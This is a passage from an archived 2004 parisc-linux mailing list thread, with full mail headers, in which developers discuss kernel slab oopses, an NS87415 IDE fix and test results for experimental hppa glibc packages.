 Bartlomiej Zolnierkiewicz <bzolnier@elka.pw.edu.pl>,
 parisc-linux@parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18364 invoked by uid 65534); 24 Sep 2004 07:05:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 24 Sep 2004 09:05:13 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8FDD33BE16; Fri, 24 Sep 2004 01:05:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26991-03; Fri, 24 Sep 2004 01:05:04 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E0AF03BE1C; Fri, 24 Sep 2004 01:04:39 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 921AD3BE12
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 01:04:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25999-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 01:04:35 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 450543BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 01:04:35 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 8E73849474F; Fri, 24 Sep 2004 01:04:34 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-7-bnl.tiscali.it (mail-7-bnl.tiscali.it [213.205.33.227])
	by palinux.hppa (Postfix) with ESMTP
	id B8610494735; Fri, 24 Sep 2004 01:04:33 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-7-bnl.tiscali.it with HTTP;
	Fri, 24 Sep 2004 09:04:25 +0200
In-Reply-To: <20040923162750.GX22642@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24932


Hello Randolph,

> 
> > But when I try to use the ide-cdrom the system carsh with such oops:
> > Backtrace:
> >  [<000000001017e0d8>] drain_array_locked+0x98/0x148
> >  [<000000001017e2c4>] cache_reap+0x13c/0x2b0
> >  [<000000001015e574>] worker_thread+0x284/0x330
> >  [<0000000010164714>] kthread+0x12c/0x138
> >  [<000000001010647c>] ret_from_kernel_thread+0x24/0x38
> 
> maybe this will help:
> http://marc.theaimsgroup.com/?l=3Dlinux-kernel&m=3D109529103522064&w=3D=
2
>
Thanks for advise, it does the trick  :)

> but we are seeing some of these slab errors with this build that are no=
t
> cdrom related too... :(
>
mmm On the N4k with some 2.6.9-rc2-pa6 release, I lso noticed a crash wit=
h
IAOQ refering to free_block () (eventhought that this system loop all the=

night to make -j4 vmlinux without any pb; I just stop the loop and restar=
t
it later and ... panic() ?)
 
> can you try compiling with slab debug (under kernel debugging)?
> 
Of course and btw I will rebuild a 2.6.9-rc2-pa_7_ for the N4k too and a
32b for a b180 and a chroot disk to test the new Carlos glibc build ;)

Thansk again for all advise,
    Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
.
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: hppa glibc 2.3.3 experimental debs - patches
	posted
Date: Fri, 24 Sep 2004 17:50:29 +0200
Lines: 117
Approved: news@gmane.org
Message-ID: <4152E882000003B7@mail-7-bnl.tiscali.it>
References: <20040924132313.GU27033@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624481 25821 80.91.229.3 (22 Nov 2014 02:48:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:01 +0000 (UTC)
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9063 invoked by uid 65534); 24 Sep 2004 15:51:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 24 Sep 2004 17:51:51 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C84773BE22; Fri, 24 Sep 2004 09:51:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32440-08; Fri, 24 Sep 2004 09:51:39 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DCB593BE26; Fri, 24 Sep 2004 09:51:08 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA1943BE22
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 09:51:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 32440-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 09:51:03 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AD1703BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 09:51:03 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 6389C494802; Fri, 24 Sep 2004 09:51:03 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-7-bnl.tiscali.it (mail-7-bnl.tiscali.it [213.205.33.227])
	by palinux.hppa (Postfix) with ESMTP id CF7F8494735
	for <parisc-linux@parisc-linux.org>;
	Fri, 24 Sep 2004 09:51:02 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-7-bnl.tiscali.it with HTTP;
	Fri, 24 Sep 2004 17:50:29 +0200
In-Reply-To: <20040924132313.GU27033@baldric.uwo.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24933

> 
> 
> On Thu, Sep 23, 2004 at 11:35:19PM -0400, Carlos O'Donell wrote:
> > http://www.parisc-linux.org/~carlos/glibc-work/glibc-2.3.3-debs-2004-=
09-23/
> > 
> > Binary build only. Haven't cleaned up the debian bits to make it
> > sourcefull.
> 
> Patch against cvs head:
> 
> http://www.parisc-linux.org/~carlos/glibc-work/glibc-hppa-patches-2004-=
09-22.tar.gz
> 
Thanks a lot :)

That said, I just rebuild the kernel 2.6.9-rc2-pa7 (just before Matthew
add new sys_call :( ) on the chroot disk with your deb libc6, libc6-dev
installed. All went fine and even boot without pb.

At the console I also log some test-lws:

applying fixup for 0x3e4, fixup at 0x3f8
Testing lws CAS (syscall #0)
Time: 3203003678 3203003897 (Diff 219)
PASSED: CAS worked correctly.
Testing lws with invalid number (syscall #666)
lws() =3D ENOSYS
Time: 3203021404 3203021423 (Diff 19)
PASSED: lws returned ENOSYS.
Testing lws CAS with NULL address (syscall #0)
lws() =3D EFAULT
Time: 3203040526 3211542412 (Diff 8501886)
PASSED: lws CAS returned EFAULT.
Testing lws CAS with an unaligned address (syscall #0)
Time: 3213802396 3213804615 (Diff 2219)
PASSED: lws CAS worked on unaligned address.
Testing lws CAS in multithreaded environment with signals.
Staring loop 1/1000 [................................] done.
Staring loop 2/1000 [................................] done.
Staring loop 3/1000 [................................] done.
Staring loop 4/1000 [................................] done.
[...]
Staring loop 997/1000 [................................] done.
Staring loop 998/1000 [................................] done.
Staring loop 999/1000 [................................] done.
Staring loop 1000/1000 [................................] done.
PASSED: lws CAS passed multithreaded test (e.g. Your box didn't lockup).
Trying to allocate a maximum number of memory pages.
Tried 2147483648 and failed.
Tried 1073741824 and failed.
Tried 536870912 and failed.
Tried 268435456 and failed.
mmap_max: Allocated 134217728 at 0x50b1e000
Trying to allocate any more spare pages.
Tried 2147483648 and failed.
Tried 1073741824 and failed.
Tried 536870912 and failed.
Tried 268435456 and failed.
mmap_max: Allocated 134217728 at 0x40b1e000
Allocated 0x8000000 (134217728) at 0x50b1e000 to 0x58b1e000.
Zeroing memory... done.
Running CAS over all pages:
PASSED: PASS 1 - CAS worked across a large mmap region of memory.
Increasing memory pressure before PASS 2.
oom-killer: gfp_mask=3D0xd2
DMA per-cpu:
cpu 0 hot: low 16, high 48, batch 8
cpu 0 cold: low 0, high 16, batch 8
Normal per-cpu: empty
HighMem per-cpu: empty

Free pages:         504kB (0kB HighMem)
Active:14605 inactive:14155 dirty:0 writeback:0 unstable:0 free:126 slab:=
1443
mapped:28701 pagetables:484
DMA free:504kB min:360kB low:720kB high:1080kB active:58420kB inactive:56=
620kB
present:131072kB
protections[]: 0 0 0
Normal free:0kB min:0kB low:0kB high:0kB active:0kB inactive:0kB present:=
0kB
protections[]: 0 0 0
HighMem free:0kB min:128kB low:256kB high:384kB active:0kB inactive:0kB
present:0kB
protections[]: 0 0 0
DMA: 38*4kB 2*8kB 1*16kB 4*32kB 1*64kB 1*128kB 0*256kB 0*512kB 0*1024kB
0*2048kB 0*4096kB =3D 504kB
Normal: empty
HighMem: empty
Swap cache: add 72324, delete 72169, find 18727/22673, race 0+2
Out of Memory: Killed process 5634 (test-lws).
Out of Memory: Killed process 5641 (test-lws).
Terminated

(unfortunately anoying network pb didn't allow me to do more; I will try
on next Monday test-waitid or I you foreseen some more dedicated test I
would better to do (as a make -k check of the lib,... ? )

Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
.
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: a fix for NS87415 on C3K broken
Date: Fri, 24 Sep 2004 18:09:16 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <4152E882000003C5@mail-7-bnl.tiscali.it>
References: <20040922163708.GD4766@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624481 25823 80.91.229.3 (22 Nov 2014 02:48:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:01 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19825 invoked by uid 65534); 24 Sep 2004 16:09:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx002) with SMTP; 24 Sep 2004 18:09:51 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0F50D3BE23; Fri, 24 Sep 2004 10:09:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00325-05; Fri, 24 Sep 2004 10:09:41 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 32E853BE27; Fri, 24 Sep 2004 10:09:24 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D7783BE23
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 10:09:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 00325-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 10:09:19 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id BCD923BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 10:09:19 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 3AEBD494803; Fri, 24 Sep 2004 10:09:19 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-7-bnl.tiscali.it (mail-7-bnl.tiscali.it [213.205.33.227])
	by palinux.hppa (Postfix) with ESMTP
	id 42E1A4946C1; Fri, 24 Sep 2004 10:09:18 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-7-bnl.tiscali.it with HTTP;
	Fri, 24 Sep 2004 18:09:16 +0200
In-Reply-To: <20040922163708.GD4766@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24934

Hello Grant,

> It builds and anyone curious is welcome to look at it:
>     ftp://ftp.parisc-linux.org/patches/diff-2.6.9-rc2-ns87415_suckyio_c=
leanup-01
> 
I test it with Matthew's patches about DECLARE_FIXUP_... and upstream roc=
k
iso fs and seems to works fine on b2k:)

hth,
    Joel

PS: Don't think it's patch related but I observe a weird behaviour: when
I boot with a cd into the drive and try to mount it I got message: "cdrom=
:
open failed.". I just have to "eject /cdrom; eject -t /cdrom" to mount an=
d
use the same cd without pb?



-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
.
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: a fix for NS87415 on C3K broken
Date: Fri, 24 Sep 2004 18:17:46 +0200
Lines: 91
Approved: news@gmane.org
Message-ID: <4152E882000003C7__21437.0245616466$1416624482$gmane$org@mail-7-bnl.tiscali.it>
References: <4152E8820000014C@mail-7-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624482 25855 80.91.229.3 (22 Nov 2014 02:48:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:02 +0000 (UTC)
Cc: linux-ide@vger.kernel.org,
 Bartlomiej Zolnierkiewicz <bzolnier@elka.pw.edu.pl>,
 parisc-linux@parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19625 invoked by uid 65534); 24 Sep 2004 16:18:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 24 Sep 2004 18:18:42 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7730D3BE26; Fri, 24 Sep 2004 10:18:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00593-04; Fri, 24 Sep 2004 10:18:30 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 449F33BE34; Fri, 24 Sep 2004 10:18:11 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8726B3BE28
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 10:18:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 32739-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 10:18:06 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4FE6C3BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 10:18:06 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 005CE494802; Fri, 24 Sep 2004 10:18:06 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-7-bnl.tiscali.it (mail-7-bnl.tiscali.it [213.205.33.227])
	by palinux.hppa (Postfix) with ESMTP id 5F1E34946C1
	for <parisc-linux@parisc-linux.org>;
	Fri, 24 Sep 2004 10:18:05 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-7-bnl.tiscali.it with HTTP;
	Fri, 24 Sep 2004 18:17:46 +0200
In-Reply-To: <4152E8820000014C@mail-7-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24935

Hello Randolph,

Auto-reply for an update (sorry)
> 
> >
> > > But when I try to use the ide-cdrom the system carsh with such oops=
:
> > > Backtrace:
> > >  [<000000001017e0d8>] drain_array_locked+0x98/0x148
> > >  [<000000001017e2c4>] cache_reap+0x13c/0x2b0
> > >  [<000000001015e574>] worker_thread+0x284/0x330
> > >  [<0000000010164714>] kthread+0x12c/0x138
> > >  [<000000001010647c>] ret_from_kernel_thread+0x24/0x38
> >
> > maybe this will help:
> > http://marc.theaimsgroup.com/?l=3Dlinux-kernel&m=3D109529103522064&w=3D=
2
> >
> Thanks for advise, it does the trick  :)
> 
> > but we are seeing some of these slab errors with this build that are
not
> > cdrom related too... :(
> >
> mmm On the N4k with some 2.6.9-rc2-pa6 release, I lso noticed a crash
with
> IAOQ refering to free_block () (eventhought that this system loop all
the
> night to make -j4 vmlinux without any pb; I just stop the loop and rest=
art
> it later and ... panic() ?)
> 
> > can you try compiling with slab debug (under kernel debugging)?
> >
> Of course and btw I will rebuild a 2.6.9-rc2-pa_7_ for the N4k too and
a
> 32b for a b180 and a chroot disk to test the new Carlos glibc build ;)
> 
Well, I test the 2.6.9-rc2-pa7 with slab debug (before Matthew added sys
call) and build this kernel in a loop (now about 30 loop) without pb just=

numerous:
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68
applying fixup for 0x10124d08, fixup at 0x10469a68

any clue?

Thanks again,
    Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
.
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: a fix for NS87415 on C3K broken
Date: Fri, 24 Sep 2004 11:28:50 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20040924182850.GB22642@tausq.org>
References: <4152E8820000014C@mail-7-bnl.tiscali.it>
	<4152E882000003C7@mail-7-bnl.tiscali.it>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624482 25870 80.91.229.3 (22 Nov 2014 02:48:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:02 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25887 invoked by uid 65534); 24 Sep 2004 18:29:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 24 Sep 2004 20:29:45 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4F1E53BE2F; Fri, 24 Sep 2004 12:29:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00814-09; Fri, 24 Sep 2004 12:29:26 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6A6553BE34; Fri, 24 Sep 2004 12:29:03 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8EF2D3BE2F
	for <parisc-linux@lists.parisc-linux.org>;
